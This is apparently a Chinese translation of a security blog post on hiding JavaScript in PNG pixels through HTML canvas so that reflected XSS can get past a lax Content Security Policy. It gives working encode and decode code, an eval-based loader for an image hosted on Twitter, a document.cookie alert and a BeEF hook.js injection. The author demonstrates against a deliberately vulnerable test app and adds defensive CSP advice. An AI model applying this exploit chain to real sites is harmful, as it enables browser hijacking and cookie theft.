一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP
2020-05-30 11:10:00 Author: www.4hou.com(查看原文) 阅读量:457 收藏

将一个恶意的JavaScript库隐藏到一个PNG图片中,并在twitter上发布,然后利用XSS攻击绕过其内容安全策略(CSP),将其包含在一个易受攻击的网站中。是不是觉得很科幻,本文我就将详细解锁这个过程。

使用HTML Canvas可以将任何JavaScript代码或整个库隐藏到一个PNG图片中,方法是将每个源代码字符转换为一个像素。然后,可以将图片上传到受信任的网站(如Twitter或Google)(通常由CSP列入白名单)最后将其作为远程图片加载到HTML文档中。最后,通过使用canvas getImageData方法,可以从图片中提取“隐藏的JavaScript”并执行它。有时这可能会导致绕过内容安全策略,使攻击者能够获取整个外部JavaScript库。

1.png

canvas元素标签强大之处在于可以直接在HTML上进行图形操作,具有极大的应用价值。canvas 可以实现对图像的像素操作,这就要说到 getImageData() 方法了。 ImageData 对象用来描述 canvas 区域隐含的像素数据,这个区域通过矩形表示,起始点为(sx, sy)、宽为sw、高为sh。

canvas getImageData() 方法的浏览器支持

Internet Explorer 9、Firefox、Opera、Chrome 以及 Safari 支持 getImageData() 方法。注意Internet Explorer 8 或更早的浏览器不支持。

canvas getImageData() 方法的定义和用法

getImageData() 方法返回 ImageData 对象,该对象拷贝了画布指定矩形的像素数据。

对于 ImageData 对象中的每个像素,都存在着四方面的信息,即 RGBA 值:

R - 红色 (0-255);

G - 绿色 (0-255);

B - 蓝色 (0-255);

A - alpha 通道 (0-255; 0 是透明的,255 是完全可见的);

color/alpha 以数组形式存在,并存储于 ImageData 对象的 data 属性中。

注意在操作完成数组中的 color/alpha 信息之后,你可以使用 putImageData() 方法将图像数据复制到画布上。

由于Content-Security-Policy响应头在防止XSS、clickjacking和其他代码注入攻击方面的效率,它被越来越多地使用。然而,许多网站配置laxy策略来避免误报和白名单整个域,而不是特定的资源,或使用不安全的内联或不安全的eval指令,这可能导致策略绕过。

在此,我推荐大家阅读Mike Parsons的一篇文章,他在这篇文章中详细展示了如何使用HTML Canvas将JavaScript代码“存储”到一个PNG图片中,在我看来,这可能是完美的CSP绕过技术,包括利用XSS的邪恶的JavaScript外部库脆弱性。全部使用CanvasRenderingContext2D方法putImageData和getImageData并使用String.charCodeAt表示隐藏文本字符串的每个字符。

Canvas 2D API的CanvasRenderingContext2D.putImageData()方法将给定ImageData对象中的数据绘制到画布上。如果提供了脏矩形(dirty rectangle ),则仅绘制该矩形中的像素,此方法不受画布转换矩阵的影响。

Canvas 2D API的CanvasRenderingContext2D方法getImageData()返回一个ImageData对象,该对象表示画布的指定部分的基础像素数据。此方法不受画布转换矩阵的影响,如果指定的矩形延伸到画布的边界之外,则画布外的像素在返回的ImageData对象中为透明的黑色。

使用Canvas在PNG图片中隐藏文本

下面是一个示例,你可以复制并粘贴到浏览器的JavaScript控制台,以从给定字符串开始创建一个PNG图片,例如:“Hello, World!”打开一个新标签页,转到about:blank,然后打开JavaScript控制台,粘贴以下代码:

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 = e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 = e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

上面的代码使用putImageData方法创建一个图片,该方法将“Hello, World!”字符串的每组3个字符表示为每个像素的RGB级别(红色、绿色和蓝色)。在浏览器的控制台中运行后,你会在左上角看到一个小图片:

3.1.png

3.2.png

生成的图片(缩放x10)

就像我之前说的,上图的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数,我可以将每个字符转换为0到65535之间的整数,代表其UTF-16代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是在我们的示例中始终为255的alpha级别。如下所示:

r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]

在以下架构中,我尝试更好地解释如何将字符串的字符分配到ImageData数组中:

5.png

现在我们有了一个表示“Hello, World!”字符串的PNG图片。你可以将以下代码复制并粘贴到JavaScript控制台中,以将生成的PNG图片转换为原始文本字符串:

t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;

正如上面所看到的,JavaScript代码选择刚刚创建的图片元素,并使用getImageData将其转换为原始文本字符串。使用getImageData时,会发生这样的情况:你将获得一个ImageData对象,该对象的data属性包含一个大数组。如前所示,ImageData数组中每个像素都有四个元素:r、g、b和alpha。因此,该数组看起来像[pixel1R,pixel1G,pixel1B,pixel1Alpha,...,pixelNR,pixelNG,pixelNB,pixelNAlpha]。

7.png

利用易受攻击的网站

现在我们知道了如何将文本字符串“存储”到图片中,以及如何将该图片转换回其原始字符串。现在假设隐藏JavaScript代码而不是简单的文本字符串,然后将生成的PNG图片上载到Twitter。可以绕过内容安全性策略,即绕过Twitter的白名单图片,并可以利用XSS从“受信任的”来源加载JavaScript内容。

为此,我特意创建了一个脆弱的web应用程序,我将使用它来测试这项技术。webapp使用内容安全策略,防止加载外部JavaScript资源:

8.png

使用XSS攻击Webapp

9.png

如你所见,该应用程序使用了一个Content-Security-Policy,该策略允许来自“self”和Twitter的图片,并允许来自“self”、“inline”和“eval”的JavaScript。不幸的是,有许多网站配置了script-src指令,允许unsafe-inline和unsafe-eval来避免误报。而且,许多网站将整个域列入白名单,而不是将特定资源列入白名单。

如果你认为这种配置很少见,而且没有人在script-src指令上使用“unsafe-inline”和“unsafe-eval”,那么你就错了。通过最近抓取的Alexa Top钱100万排名,似乎有超过5000个网站在script-src或default-src指令上使用Content-Security-Policy和“unsafe-inline”和“unsafe-eval”:

10.png

该漏洞位于lang querystring参数上,该参数不能清除导致HTML注入和Reflected XSS的用户输入。要利用此测试Web应用程序上的XSS漏洞,我需要注入HTML语法以关闭src属性并添加SCRIPT标签,然后注入JavaScript代码,例如?lang =“>< script >alert(1)< /script >

之类的内容关闭src属性。

要包含来自Twitter的远程图片,我可以发送以下请求:

16.png

红色部分是恶意PNG图片的Twitter URL。蓝色部分是注入的id属性,以便更轻松地选择IMG标签。绿色部分是一个A标签,仅用于防止破坏HTML语法。现在,我需要注入几行JavaScript代码把图片转换成一个外部的JavaScript库并绕过CSP:

t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

我已经将其编码为base64,现在在eval(atob("base64-encoded-js"))中使用它,并将其放入注入的onload属性中:

18.png

如下所示,变成橙色。

19.png

当发送整个有效载荷时,我会得到一个执行getImageData的错误消息,消息为“画布已被跨源数据污染”。

20.png

通过阅读文档,我的浏览器似乎故意在跨源加载图片时阻塞getImageData之类的方法。似乎我只需要注入crossorigin属性:

1. HTML为图片提供了跨域属性,该图片与适当的CORS标头结合使用,允许元素定义的从外部来源加载的图片在< img >元素定义的图像在< canvas >中使用,就好像它们是从当前源加载的一样。

2. 由于画布位图中的像素可能来自多种来源,包括从其他主机检索到的图片或视频,因此不可避免地会出现安全问题。一旦将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。被污染的画布不再被认为是安全的,任何从画布中检索图片数据的尝试都会导致引发异常。如果外部内容的来源是HTML < img >或SVG< svg > 元素,则不允许尝试检索画布的内容。

幸运的是,Twitter向所有上传的图片添加了一个Access-Control-Allow-Origin:*,这意味着我只需要将crossorigin属性注入到IMG标签中并带有“anonymous”值即可。

21.png

通过将crossorigin属性注入值“anonymous”,所有功能均按预期工作,并且我成功执行了函数alert(document.cookie),如下图所示:

22.png

来自Twitter图片的警告(document.cookie)

以下是我使用的全部有效载荷:

23.png

具体示例过程,请点此动图查看。

转换BeEF hook.js

这是将BeEF的hook.js转换为PNG图片的测试,BeEF是一个浏览器开发框架,这是一个专注于Web浏览器的渗透测试工具。BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。我首先使用curl -s 'http://localhost:3000/hook.js' | base64 -w0对base64进行了编码,然后我创建了如图所示的图片。

24.png

hook.js PNG

25.png

从PNG图片中注入hook.js

26.png

从易受攻击的webapp收到的hook

总结

我能够绕过网站的内容安全策略,该网站加载隐藏在Twitter上上传的PNG图片中的外部JavaScript库。 之所以可能这样做,是因为CSP过于宽松,并且Twitter向所有上传的图片发送了通配符访问源响应标头。我猜想同样的技术也可以在许多其他社交网络上很好地工作,这就是为什么你永远不要在CSP上使用“unsafe-inline”和“unsafe-eval”指令的原因。

本文翻译自:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/nNMR
如有侵权请联系:admin#unsafe.sh